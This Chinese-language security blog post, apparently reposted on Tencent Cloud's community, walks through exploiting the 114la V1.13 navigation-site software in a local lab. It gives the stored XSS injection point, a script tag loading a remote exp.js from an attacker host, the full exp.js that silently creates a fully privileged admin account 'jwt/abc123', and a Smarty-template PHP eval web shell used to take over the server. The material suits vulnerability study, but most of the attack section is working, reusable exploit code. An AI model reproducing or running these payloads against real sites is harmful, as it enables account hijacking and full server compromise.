前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >114啦-V1.13导航站Getshell

114啦-V1.13导航站Getshell

作者头像
小简
发布2023-01-04 13:52:51
6170
发布2023-01-04 13:52:51
举报
文章被收录于专栏:简言之

114啦是一个老牌的网址导航站,采用php+Mysql架构,基于Smarty模板引擎。V1.13中包含XSS漏洞,可以利用来Getshell。

环境搭建

源码下载地址

下载链接:https://jwt1399.lanzoui.com/i06ZIde662b

安装

1.把下好的114啦源码文件114la放到phpStudyWWW目录下

2.访问地址:http://localhost/114la/upload/install/ 选择全新安装,就会进入到安装界面,按照提示配置好参数,注意数据库用户名和密码要与你的mysql匹配,安装之后将自动删除install目录

3.进入后台设置您的管理信息,并在“静态生成”->“一键生成”生成相应的页面

4.再访问:http://localhost/114la/upload/index.htm,可以看到导航页面了

XSS漏洞利用

XSS漏洞点:url-submit/index.php

代码语言:javascript
复制
//18-22行
$name = (empty($_POST['name'])) ? '' : strip($_POST['name']);
        if (empty($name))
        {
            throw new Exception('网站名称不能为空', 10);
        }
//91-94行
$info = $_POST;
$infos = addslashes(serialize($info));
app_db::insert('ylmf_urladd', array('domain', 'info', 'addtime'), array($domain, $infos, time()));

对提交的数据只使用addslashes函数在引号前面添加\,使用serialize函数序列化输入的信息,未做其他过滤,直接插入数据库,造成了存储型XSS漏洞

在网站名称那一栏插入JS,其它的符合要求填写就可以了,然后提交,

代码语言:javascript
复制
<script>alert(123)</script>;

但是提交后不会弹窗,查看数据库,看到JS代码确实插入到了数据库中,这就是XSS盲打

当管理员在后台访问收录管理时,注入的JS代码就会执行,可以看到成功弹框

既然JS代码能够成功执行,那我们插入一个添加管理员账户的远程JS文件,等待管理员查看网站收录审核的时候就会执行JS文件,从而创建一个管理员账号,后续我们进入后台来Getshell

代码语言:javascript
复制
<script src=http://192.168.1.109/exp.js></script>;

exp.js用来创建一个用户名密码为jwt/abc123的管理员

代码语言:javascript
复制
var siteurl = document.URL;
siteurl = siteurl.replace(/(.*\/){0,}([^\.]+).*/ig,"$1");
var username="jwt";//用户名
var password="abc123";//密码
var request = false;

if(window.XMLHttpRequest) {
   request = new XMLHttpRequest();
   if(request.overrideMimeType) {
       request.overrideMimeType('text/xml');
   }
} else if(window.ActiveXObject) {
   var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
   for(var i=0; i<versions.length; i++) {
       try {
           request = new ActiveXObject(versions[i]);
           } catch(e){}
   }
}

var xmlhttp=request;

xmlhttp.open("GET",siteurl+"/index.php?c=member", false);
xmlhttp.setRequestHeader("Referer", siteurl);
xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xmlhttp.send();
if (xmlhttp.responseText.indexOf(username)<0) {
xmlhttp.open("POST", siteurl + "/index.php?c=member&a=member_add", false);
xmlhttp.setRequestHeader("Referer", siteurl);
xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xmlhttp.send("name=" + username + "&password=" + password + "&step=2");
xmlhttp.open("POST", siteurl + "/index.php?c=member&a=member_edit", false);
xmlhttp.setRequestHeader("Referer", siteurl);
xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xmlhttp.send("auth%5Bmember114laurl_add114lafeedback%5D=1&auth%5Bconfig114la%5D=1&auth%5Bfamous_nav114lafamous_loop_playfamous_nav_tab114laindex_site114laindex_tool114lamztopl114larecycler%5D=1&auth%5Bzhuanti114lazhuanti_class%5D=1&auth%5Badvise_index114lakey%5D=1&auth%5Bbackup114larestore114larepair114laclear114lamysites%5D=1&auth%5Btemplate_manage%5D=1&auth%5Bmake_html114la%5D=1&auth%5Bheader114lamenu114lawelcome114laframe114lalogin%5D=1&auth%5Bsecurity114la%5D=1&auth%5Bsite_manage%5D=1&auth%5Bplan%5D=1&auth%5Bclass%5D=1&auth%5Blog%5D=1&step=2&name=" + username);
}

我们自己模拟管理员进后台查看收录管理一下,然后去用户管理中查看是否新建了jwt用户

不出所料,果然成功创建了jwt管理员

Getshell

由于114la网站使用的smarty模板引擎,而smarty支持插入php代码,这样就会导致漏洞产生了

smarty里面执行PHP代码 : <{php}>代码<{/php}>

那我们登录jwt用户,进入模板管理->申请收录版块->插入PHP一句话木马

代码语言:javascript
复制
<{php}>@eval($_POST['a']);<{/php}> 

然后我们用🐜🗡连接,到这里我们就成功Getshell了

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-06-06,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 环境搭建
    • 源码下载地址
      • 安装
      • XSS漏洞利用
      • Getshell
      相关产品与服务
      数据库
      云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档